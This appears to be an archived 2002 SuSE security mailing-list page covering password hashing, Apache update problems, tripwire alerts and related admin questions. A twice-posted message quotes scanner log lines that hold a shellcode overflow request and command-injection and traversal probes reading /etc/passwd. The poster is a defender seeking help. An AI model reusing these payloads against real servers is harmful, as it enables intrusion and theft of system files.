But the crypt lib encrypts the password or the hashed value of the password? Dre :-) Luck is my game ;-) Linux is my aim :) -----Original Message----- From: Claus Lund [mailto:clund@tax.state.vt.us] Sent: Wednesday, July 10, 2002 7:39 PM To: suse-security(a)suse.com Subject: Re: [suse-security] Password Encryption Yup. Several different passwords could very well generate the same hashed string. Claus Lund Department of Taxes Information Systems 109 State Street Montpelier, Vermont 05609 (802) 828-3735 ----- Original Message ----- From: "arawak" <arawak(a)blueyonder.co.uk> To: <suse-security(a)suse.com> Cc: "'Reckhard, Tobias'" <tobias.reckhard(a)secunet.com> Sent: Wednesday, July 10, 2002 2:26 PM Subject: RE: [suse-security] Password Encryption > Hi, > > I'm following this thread and need a little clarity. > > I'm thinking that if my password was ABC then hashed, the result is > compared in the hashed file correct? > > Therefore could be possible to have another password that when > compared to the hashed value it could give the be the same result of > my ABC password? > > Dre :) > > Luck is my game ;-) > Linux is my aim :) > > -----Original Message----- > From: Reckhard, Tobias [mailto:tobias.reckhard@secunet.com] > Sent: Wednesday, July 10, 2002 11:24 AM > To: suse-security(a)suse.com > Subject: RE: [suse-security] Password Encryption > > > > ok, but if we knows, that there is a way to crack the shadow file, > > why don't we use a secure algorithm ? (triple DES or AES) Are there > > no implementation for this algorithms ? (a DES cracker-maschine > > costs about 100.000 $) > > Wait! and read aloud after me: "The password is *not* encrypted." Take > a deep breath. Now repeat it, please. > > The password is in fact hashed. The resulting hash is stored in > /etc/shadow. The password is gone after that, there's no trace of it > left. > > What then happens, when you login, is that the password you supply to > the system is hashed and the hash is compared to the one stored in > /etc/shadow. If they match, you're in, if they don't, you're not. > > As Olaf has repeatedly said, in the case where DES is used, the salt > is encrypted using the password as a key to get the 'hash'. > > However, if you're using 'MD5 passwords' (which is something of a > misnomer, of course), DES isn't involved. > > Someone correct me if I'm wrong. > > Cheers > Tobias > > -- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com > Security-related bug reports go to security(a)suse.de, not here > > > -- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com > Security-related bug reports go to security(a)suse.de, not here > -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here

1 0

Possible Apache Exploit?
by Charles Funderburk 10 Jul '02

10 Jul '02

Hello all, I am new to the list and have gained a ton from reading all the comments and suggestions. I thought someone might be able to help me out and give me their two cents on something I noticed in my Apache access logs.Looks like a buffer overflow intended for a NT machine. 0.70.24.222 - - [10/Jul/2002:01:05:44 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /IAmAScaryCyberCop.SNI" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET http://10.144.192.54/cfdocs/expeval/openfile.cfm HTTP/1.0" 404 302 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -+-+-+-+h^X%FF%E6%FF%D4%83%C62j%01V%8A%06<_u%03%80.?FAI%84%C0u%F0%BAto|_%B9t`}`%03%CA%FF%D1%BAX_|_%B9XP|`%03%CA%FF%D1c:\command.com_ /c_copy_\WebSite\readme.1st_\WebSite\htdocs\cybercop.htm" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET http://10.144.192.54/cfdocs/expeval/displayopenedfile.cfm HTTP/1.0" 404 311 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /cybercop.htm" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET http://10.144.192.54/cfdocs/expeval/exprcalc.cfm HTTP/1.0" 404 302 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET //etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /cgi-bin/faxsurvey?cat%20/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/faxsurvey?cat%20/etc/passwd HTTP/1.0" 404 292 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /carbo.dll?icatcommand=..\..\winnt\win.ini&catalogname=catalog" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/info2www?(../../../../../../../../sbin/ping-c%d%s|)" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/pfdispaly?../../../../../etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "get /" 501 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/MachineInfo" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /IAmAScaryCyberCop.SNI" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /scripts/tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=NA I+Test&dbq=..%2fwwwroot%2fNAI-18719.htm&newdb=CREATE_DB&attr= HTTP/1.0" 404 299 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /ASPSamp/ HTTP/1.0" 404 283 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/Count.cgi?dd=aa HTTP/1.0" 404 292 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /mylog.phtml?screen=/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET / HTTP/1.0" 200 1350 10.70.24.222 - - [10/Jul/2002:01:06:11 -0500] "GET /mlog.phtml?screen=/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:11 -0500] "GET /php/mylog.phtml?screen=/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:11 -0500] "POST /cgi-win/uploader.exe/cgi-win/ HTTP/1.0" 404 304 I haven't seen any of the code for the latest apache chunk exploit. Anyone have any ideas or suggestions? Thanks! -Charles

3 2

Apache logs
by Charles Funderburk 10 Jul '02

10 Jul '02

Hello all, I am new to the list and have gained a ton from reading all the comments and suggestions. I thought someone might be able to help me out and give me their two cents on something I noticed in my Apache access logs.Looks like a buffer overflow intended for a NT machine. 0.70.24.222 - - [10/Jul/2002:01:05:44 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /IAmAScaryCyberCop.SNI" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET http://10.144.192.54/cfdocs/expeval/openfile.cfm HTTP/1.0" 404 302 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -+-+-+-+h^X%FF%E6%FF%D4%83%C62j%01V%8A%06<_u%03%80.?FAI%84%C0u%F0%BAto|_%B9t`}`%03%CA%FF%D1%BAX_|_%B9XP|`%03%CA%FF%D1c:\command.com_ /c_copy_\WebSite\readme.1st_\WebSite\htdocs\cybercop.htm" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET http://10.144.192.54/cfdocs/expeval/displayopenedfile.cfm HTTP/1.0" 404 311 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /cybercop.htm" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET http://10.144.192.54/cfdocs/expeval/exprcalc.cfm HTTP/1.0" 404 302 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "HEAD / HTTP/1.0" 200 0 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET //etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:09 -0500] "GET /cgi-bin/faxsurvey?cat%20/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/faxsurvey?cat%20/etc/passwd HTTP/1.0" 404 292 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /carbo.dll?icatcommand=..\..\winnt\win.ini&catalogname=catalog" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/info2www?(../../../../../../../../sbin/ping-c%d%s|)" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/pfdispaly?../../../../../etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "get /" 501 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/MachineInfo" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /IAmAScaryCyberCop.SNI" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /scripts/tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=NA I+Test&dbq=..%2fwwwroot%2fNAI-18719.htm&newdb=CREATE_DB&attr= HTTP/1.0" 404 299 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /ASPSamp/ HTTP/1.0" 404 283 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /cgi-bin/Count.cgi?dd=aa HTTP/1.0" 404 292 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET /mylog.phtml?screen=/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:10 -0500] "GET / HTTP/1.0" 200 1350 10.70.24.222 - - [10/Jul/2002:01:06:11 -0500] "GET /mlog.phtml?screen=/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:11 -0500] "GET /php/mylog.phtml?screen=/etc/passwd" 404 - 10.70.24.222 - - [10/Jul/2002:01:06:11 -0500] "POST /cgi-win/uploader.exe/cgi-win/ HTTP/1.0" 404 304 I haven't seen any of the code for the latest apache chunk exploit. Anyone have any ideas or suggestions? Thanks! -Charles

1 0

RE: [suse-security] Password Encryption
by Alan Rouse 10 Jul '02

10 Jul '02

Christian Röpke wrote: >password cracking : >- DES can only be cracked by a brute force attack, because there is no >way to crack the s-boxes. >- to crack DES, means to find the 56 bit long key. That is "approximately" true, but misses the point. Password cracking is done, not by breaking DES or MD5, but by guessing passwords. There are many approaches to password guessing. A good cracking tool will start by trying commonly used passwords from a dictionary, along with simple variants. Then a larger dictionary of words, names etc will be tried, again with simple variants. Finally, a brute force search of all combinations of typeable characters is tried. It makes little difference what algorithm is used to encrypt the password. Actually, the only real impact would be the speed of an encryption, since each guessed password will be encrypted and compared to the stored encrypted value. DES is crackable, but it takes a huge amount of processing power. In 1999, a single DES key was cracked by 100,000 distributed PC's working together, plus a supercomputer designed specifically for the task, in about 23 hours. AFAIK there has not been a more recent publicly disclosed crack. 2-key triple DES is considered no stronger than DES, because of the "Meet in the middle" attack. 3-key triple DES, despite its use of 168 bits of key material, is considered to have only 112 bits of "strength" due to the same class of attack. Actually, given enormous amounts of memory, theoretical attacks have been designed that require only about 2^90 decryptions to break three-key triple DES. Even that is far beyond what can be accomplished on today's equipment. OTOH, Rijndael is potentially much stronger. I say potentially, because it is new and less studied so there are risks. It is not likely that a major break of DES will occur before quantum computing becomes a reality. However, Rijndael is IMO somewhat more likely to fall to a catastrophic break. There is already at least one troubling advance (an attack based on overdefined equations) that has reduced the theoretical effort to crack Rijndael. Once a weakness is found in the armor of an algorithm, historically we have seen further advances to weaken it.

1 0

Martian headers???
by Thomas Nyman 10 Jul '02

10 Jul '02

everyone SuSE 8.0 is ticking along nicely, however my console shows the following message "xxx kernel: martian source 255.255.255.255 from 192.168.1.1, on dev eth0" "kernel: 11 header: ff:ff:ff:ff:ff:ff:00:60:08:4a:c2:62:08:00" the interesting part is that 192.168.1.1 is my eth1 device and that my eth0 is my internet card with a fixed ip adress.... anyone have any idea what this message means and how to get rid of it?

2 1

Re: [suse-security] Password Encryption
by "Christian Röpke" 10 Jul '02

10 Jul '02

Hello Bastian, Tuesday, July 9, 2002, 3:50:07 PM, you wrote: BS> Hi! BS> --On Dienstag, 9. Juli 2002 15:14 +0200 Christian Röpke BS> <christian.roepke(a)directbox.com> wrote: >> [...] >> p.s. : it exits a attack against md5, but i can't describe details at the >> moment, i ask my prof. __________________________________________________ BS> In 1996 a german researcher found a way to produce "collisions" in the BS> compression function of MD5 (in about 10 hours on a 100 MHz Pentium I), but BS> IIRC could not extend this attack to the full algorithm. Details are here: BS> <http://www.rsasecurity.com/rsalabs/faq/3-6-6.html> BS> <ftp://ftp.rsasecurity.com/pub/cryptobytes/crypto2n2.pdf> BS> <http://www.informatik.uni-mannheim.de/informatik/pi4/projects/Crypto/rgp/m d5/dobbertin.ps>> BS> This is a serious academic weakness of the algorithm, but surely nothing to BS> worry about in practical applications. Attackers who have the required BS> resources for this kind of attack will certainly be able to find completely BS> different ways to compromise the security of your linux box. ok, here is the answer for you peer BS> By the way: The same goes for DES. There has been no practical attack BS> against the structure of the cipher. It is simply outdated, because BS> a) it is very slow in software and BS> b) it´s keysize is far too small to protect against brute force attacks BS> with today´s computing power (I guess, that´s what you meant with "attack") BS> Still, you need a considerable amount of computation to break DES and BS> attackers might just as well find different ways to break into your system. ok, but if we knows, that there is a way to crack the shadow file, why don't we use a secure algorithm ? (triple DES or AES) Are there no implementation for this algorithms ? (a DES cracker-maschine costs about 100.000 $) BS> Hope this helps. BS> Greetings, BS> Bastian. christian __________________________________________________ Gestalte Dein eigenes Handy-Logo unter http://www.yesms.de Ihre eMails auf dem Handy lesen - ohne Zeitverlust - 24h/Tag eMail, FAX, SMS, VoiceMail mit http://www.directbox.com

3 2

Re[2]: [suse-security] Password Encryption
by "Christian Röpke" 10 Jul '02

10 Jul '02

Hello Peer, Tuesday, July 9, 2002, 3:37:02 PM, you wrote: >> but many systems are not clean and then the cracker hasn't >> any chance to crack the shadow-file, if the passwords are >> encrypted by des3 or aes. PS> even des3 and aes are "crackable". it's important to not be able to derive PS> the password from the encrypted string, which means you need one-way hash PS> functions like md5, sha, or whatever you like (sha is considered more secure PS> than md5). if there really is an attack against the md5-algorithm (with real PS> i mean useable agains real live systems) then we're all in big big trouble. PS> most weaknesses of an algorithm are theoratically and [mostly] unuseable PS> against real live systems. password encryption : - the cleartext password is hashed by md5 - this hash-value is the key for DES encryption of the password is that right ? password cracking : - DES can only be cracked by a brute force attack, because there is no way to crack the s-boxes. - to crack DES, means to find the 56 bit long key. - the cracker has 2^56 different keys, and only one is the right - he has the encrypted password, the algorithm and the way to encrypt passwords, then he tests all 2^56 different keys and compares it with the value of the shadow-file, one key shows the cleartext password - it is possible to find this one key in a realistic time triple DES needs a 112 bit key - the cracker has 2^112 different keys - to find the right key is not (perhaps by the nsa ?, nobody knows it) possible is a realistic time --> triple des in NOT crackabe AES needs a 128 bit key - the cracker has 2^128 different keys and this is also not possible (for the next .. years) >> and these algorithms are the state of the art PS> not 3des or des3 (it's the same) - it's not state of the art, although it's PS> widely used. (it's just des 3 times with 2 different keys (there are 3 PS> possible ways to use the keys: 1-1-2, 1-2-1, 2-1-1), which equals a PS> key-length of 112 bits which is somewhat weak). it is used because of its PS> speed for session-keys, not for passwords. and this is the cause of trible DES and AES are state of the art, and because triple DES is not crackable many distributions use this algorithm. >> christian >> >> p.s. : it exits a attack against md5, but i can't describe >> details at the moment, i ask my prof. PS> i really want to know more about this attack. please ask your professor and PS> post the details ;-) PS> regards, PS> stefan i try christian __________________________________________________ Gestalte Dein eigenes Handy-Logo unter http://www.yesms.de Ihre eMails auf dem Handy lesen - ohne Zeitverlust - 24h/Tag eMail, FAX, SMS, VoiceMail mit http://www.directbox.com

2 1

strange tripwire results
by ic_admin 10 Jul '02

10 Jul '02

Hi again, I have the next problem and I do not know how this could happen: I'm running tripwire to check my system each night, now I have a file which appears in my tripwire result as changed: /usr/lib/libc_nonshared.a But I didn't changed it! And in the tripwire-result I can only see the md5 and snefru sig's and NO st_mtime and NO st_ctime is displayed! The next night I run the tripwire-system again and now the result is OK without creating a new database!? Some days later another file was changed as the result of the tripwire told me: /usr/bin/expiry The same as described before but I see this changed file in each result until it occured the first time. Some days later these files show the same behaviour: /usr/share/terminfo/h/hp2645a /opt/kde2/bin/meinproc /usr/lib/locale/ar_EG/LC_COLLATE /usr/lib/perl5/5.6.0/unicode/Names.txt I'm running: - Tripwire version 1.2 (patchlevel 2) - SuSE7.2 This have I done before: I have secure copies of all my tripwire databases and I diff my secured against the one from the system -- it is OK, they do not differ! I took a look in all log's, bash_history and I checked the logins with last -- nothing! I am running iptables on this machine and only port 53 is open for IN and OUT. What happens on this machine? I don't think that somebody hack my system; perhaps somebody has similar problems and could help me. Many thanks and regards Ruediger InterConcept GmbH Drosselweg 27 D-61462 Koenigstein http://www.i-concept.de

3 5

authorize pop for root?
by Geordon VanTassle 10 Jul '02

10 Jul '02

Hello , Please forgive if this is an FAQ, but how do I authorise pop for root? Using ipop3, SuSE 8.0 pro. Have PostFix installed. thanks in advance. -- Best regards, Geordon mailto:gvantass@interaccess.com PGP Key ID: 0xFCF06B79 Your Fortune ==> "There are two theories about arguing with women ............................Neither one works."

3 2

Re: [suse-security] Password Encryption
by "Christian Röpke" 10 Jul '02

10 Jul '02

i know, that it is very important to hold my system clean. but many systems are not clean and then the cracker hasn't any chance to crack the shadow-file, if the passwords are encrypted by des3 or aes. and these algorithms are the state of the art christian p.s. : it exits a attack against md5, but i can't describe details at the moment, i ask my prof. __________________________________________________ Gestalte Dein eigenes Handy-Logo unter http://www.yesms.de Ihre eMails auf dem Handy lesen - ohne Zeitverlust - 24h/Tag eMail, FAX, SMS, VoiceMail mit http://www.directbox.com

2 1

RE: [suse-security] Password Encryption
by Reckhard, Tobias 10 Jul '02

10 Jul '02

> > and these algorithms are the state of the art > > not 3des or des3 (it's the same) - it's not state of the art, > although it's > widely used. I guess this depends entirely on what you label 'state of the art'. Triple-DES is certainly secure enough currently, in fact, it's tried and tested for so long that it's probably got a better reputation (security-wise) than most new ciphers, such as Blowfish, Twofish, IDEA and even Rijndael. It is, however, slow in software, since DES was designed for hardware implementation and Triple-DES is only a third as fast as DES. It seems to me that the keylength also can't be extended, which was one of the criteria for AES contestants. > (it's just des 3 times with 2 different keys (there are 3 > possible ways to use the keys: 1-1-2, 1-2-1, 2-1-1), which equals a > key-length of 112 bits which is somewhat weak). it is used > because of its > speed for session-keys, not for passwords. Actually, Triple-DES comes in two variants, one with three and another with two different keys. It is important to perform encryption with key one first, to then *decrypt* the ciphertext with key two and finally encrypt the ciphertext produced with key one or key three. As for the usage scenarios of 3DES, its lacking speed, when compared to other symmetric ciphers, is its most important drawback. As for passwords, since they are typically processed rather seldom (when compared to encryption/decryption of e.g. data streams), the speed of the algorithm used normally shouldn't be that important. This is similar to the case for SSL, where costly RSA operations are much fewer than relatively cheap RC4. This is beginning to go off-topic, though.. Cheers Tobias

1 0

openssh 3.4p1-5 src.rpm has error in spec file
by Willy Weisz 09 Jul '02

09 Jul '02

The spec file of openssh-3.4p1-5.src.rpm has a spec file that contains the 2 lines: aclocal autoconf that produce an error and thus abort the build run. They should be deleted as the original tar ball that is the basis of the package doesn't contain a config.in file but already the aclocal.m4 file that aclocal is supposed to create. Regards Willy ----------------------------------------------------------- Willy Weisz European Centre for Parallel Computing at Vienna (VCPC) Liechtensteinstrasse 22 A-1090 Wien Tel: (+43 1) 4277 - 38824 Fax: (+43 1) 4277 - 38818 e-mail: weisz(a)vcpc.univie.ac.at

4 3

AW: [suse-security] apache do not start after upd
by Schoenwaelder Oliver 09 Jul '02

09 Jul '02

Hi, we're having almost the same problem: after the last update it's not possible to run both ssl and php4 modules. The first request leads to a segmentation fault as describe in emails before. And I tried with reinstalling all the updated again. For the moment we can work without SSL. So it's not really an issue for use. But maybe for others... Regards, Olly -----Ursprüngliche Nachricht----- Von: Oliver Bleutgen [mailto:meinbugtraq@gmx.net] Gesendet: Dienstag, 9. Juli 2002 11:08 An: admin(a)i-concept.de; suse-security(a)suse.com Betreff: Re: [suse-security] apache do not start after upd > Hi list, > I have a strange problem with apache 1.3.19 running on SuSE7.0: > After I have done the last security update from 18 June to apache > 1.3.19-115 I am not able to start the webserver with the mod_ssl > and/or mod_php (mod_php is for version php3). It is only possible to > start the webserver with "httpd -f /etc/httpd/httpd.conf" . If I start > the server with "/sbin/init.d/apache start" it seemed to be OK until I > do a request to the webserver: Then I got the message in the > apache-error-log: "[Mon Jul 8 18:32:50 2002] [notice] child pid 9736 > exit signal Segmentation fault (11)" and nothing happens in my > browser! The same thing happens if I start the server with "httpd -f > /etc/httpd/httpd.conf -D SSL". > If I try to start the server with the option "-D PHP" I got a message > "sqlinit: DBROOT must be set !!!" But the DBROOT is set! And the > server didn't start. > Anybody there who had the same problem and could help me? > Is it perhaps the php-modul which isn't supported anylonger? I need > this machine running php3 not php4 ! Ruediger, have you updated the mod_php etc. packages from 28.April 2001? See http://www.suse.de/de/support/download/updates/70_i386.html If not, do it and try again (with /sbin/init.d/apache start). This will solve the problem with the segfaults, and therefore maybe everything else is no issue anymore. cf. the thread "Apache upgrade from SuSE?" cheer -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here

3 2

Yast2 (7.3) problems with YOU
by Patrick Sannes 09 Jul '02

09 Jul '02

Hello, I have a problem, my yast 2 from suse 7.3 wont online update anymore. Sometimes it brakes the connection at the beginning of YOU sometimes after downloading +/- 3 pakages informations. Someone can help me with this. I need the security updates. Patrick

2 1

RE: [suse-security] Password Encryption
by Peer Stefan 09 Jul '02

09 Jul '02

From: "Christian Röpke" [mailto:christian.roepke@directbox.com] > i know, that it is very important to hold my system clean. yepp :) > but many systems are not clean and then the cracker hasn't > any chance to crack the shadow-file, if the passwords are > encrypted by des3 or aes. even des3 and aes are "crackable". it's important to not be able to derive the password from the encrypted string, which means you need one-way hash functions like md5, sha, or whatever you like (sha is considered more secure than md5). if there really is an attack against the md5-algorithm (with real i mean useable agains real live systems) then we're all in big big trouble. most weaknesses of an algorithm are theoratically and [mostly] unuseable against real live systems. > and these algorithms are the state of the art not 3des or des3 (it's the same) - it's not state of the art, although it's widely used. (it's just des 3 times with 2 different keys (there are 3 possible ways to use the keys: 1-1-2, 1-2-1, 2-1-1), which equals a key-length of 112 bits which is somewhat weak). it is used because of its speed for session-keys, not for passwords. > christian > > p.s. : it exits a attack against md5, but i can't describe > details at the moment, i ask my prof. i really want to know more about this attack. please ask your professor and post the details ;-) regards, stefan

2 1

Re: [suse-security] apache do not start after upd
by Oliver Bleutgen 09 Jul '02

09 Jul '02

(Sorry for the long quote, but I think it helps to avoid confusion in this case.) > I have been forced to install the stuff from scratch, using mod_ssl, > mod_php > and apache directly from original locations. > Change into mod_ssl directory, do a (fix path to new apache sources) > ./configure --with-apache=../apache_1.3.26/ --with-ssl=SYSTEM > --with-mm=SYST > EM > change into apache-dir and do a > ./configure --prefix=<you new > path> --enable-rule=EAPI --enable-module=all --enable-shared=max > --<various > prefixes for SuSE directorys, > i.e. --libexecdir=/usr/lib/apache --sysconfdir=/etc/httpd etc...> > --<suexec > if desired> > then build apache with make, copy the ssl-certs and httpd you are > currently > using into a temp dir, make a backup of /usr/lib/apache and the > /sbin/init.d/apache script and uninstall all SuSE rpms. make install, > restore certs, .conf and init script, copy the missing modules from the > backup of /usr/lib/apache into the new libexec dir (use a cp -i, no > overwrite of new modules), > change into mod_php and do a configure with loads of options, make, make > install. > This is not quick but dirty, but all modules work for me. Take your time > to > fix path, get the smaller module sources and recompile them if you wish. > If > the httpd refuses to start, remove all <IfDefine> and <IfModule> > statements >>from httpd.conf and comment the stuff you're not using out (i.e.backhand, > dav), starting the server with simply ./httpd > Maybe this helps busted 7.0 users to switch to sources :-) I am also a 7.0 user and didn't need to do all that. Please look at the recent posting to this list, esp. "Apache upgrade from SuSE ?" cheers, oliver

1 0

Re: [suse-laptop] 3com 11Mbps WLAN OfficeConnect
by Markus Kohli 09 Jul '02

09 Jul '02

Am Dienstag, 9. Juli 2002 14.41 schrieb igor boehm: > Hi Markus > > I had the same problem with a 3Com 3CRWE737 96B-E1 which is a wireless > PCMCIA card. Look at the SuSE homepage and get the PCMCIA update RPM and > install it. after that it should work just fine ;-) The PCMCIA update does > basically the following: It uses the Orinoco Drivers instead of the wlan-ng > drivers and that is in my opinion just what you need in order to get you > WLAN PCMCIA card running. > Hope it works ;-) > Nope, that don't help. My problem looks like this: Jul 9 14:49:54 karlchen cardmgr[12914]: unsupported card in socket 1 Jul 9 14:49:54 karlchen kernel: cs: memory probe 0xa0000000-0xa0ffffff: clean. Jul 9 14:49:55 karlchen cardmgr[12914]: product info: "3Com", "3CRSHPW_96 Wireless LAN PC Card" Jul 9 14:49:55 karlchen cardmgr[12914]: manfid: 0x0101, 0x0696 function: 6 (network) Thanks anyway... Markus -- Avoid messes: cover cat before microwaving.

1 1

[suse-security] Password Encryption
by "Christian Röpke" 09 Jul '02

09 Jul '02

Hello @all, after my installation of suse linux 8.0 yast2 ask me, whether i encrypt my passwords with DES or MD5. i think, both of these algorithms are not secure !!! 1. DES is a encryption algorithmen, that is cracked by NSA (ca. 1990) (also by other secret services) and by the electronic frontier foundation (1999). this algorithm is NOT secret today (des-cracker : about 100.000 dollar) 2. MD5 is a hash-function, so you can't encrypt any passwords with this algorithm. question : where is the passowrd security by suse linux ??? greetings christian röpke __________________________________________________ Gestalte Dein eigenes Handy-Logo unter http://www.yesms.de Ihre eMails auf dem Handy lesen - ohne Zeitverlust - 24h/Tag eMail, FAX, SMS, VoiceMail mit http://www.directbox.com

3 2

RE: [suse-security] Password Encryption
by Peer Stefan 09 Jul '02

09 Jul '02

hi, From: "Christian Röpke" [mailto:christian.roepke@directbox.com] > Hello @all, > > after my installation of suse linux 8.0 yast2 ask me, whether > i encrypt my passwords with DES or MD5. > > i think, both of these algorithms are not secure !!! DES is not secure, though it's still widely used (3des and some other derivates) > 1. DES is a encryption algorithmen, that is cracked by NSA > (ca. 1990) (also by other secret services) and by the > electronic frontier foundation (1999). this algorithm is NOT > secret today (des-cracker : about 100.000 dollar) the algorithm should never be the [only] secret. > 2. MD5 is a hash-function, so you can't encrypt any passwords > with this algorithm. no, but you don't have to store the password. whenever you type your password the md5-sums will be compared, so if you don't know the secret, you'll stay locked out. and there is no mathematical function to deduct the password from the sum. > question : where is the passowrd security by suse linux ??? this algorithms are not suse-specific, it's state of the art in unix. /etc/passwd is a very old file and it's structure did not change [much] since the 70ies. nowadays passwords are [should be] shadowed, in order to prevent users from reading the encrypted strings and deciphering them. if that's still not the security you want, feel free to implement whatever pam-authentication you want. regards, stefan

1 0

Re: [suse-security] apache do not start after upd
by ic_admin 09 Jul '02

09 Jul '02

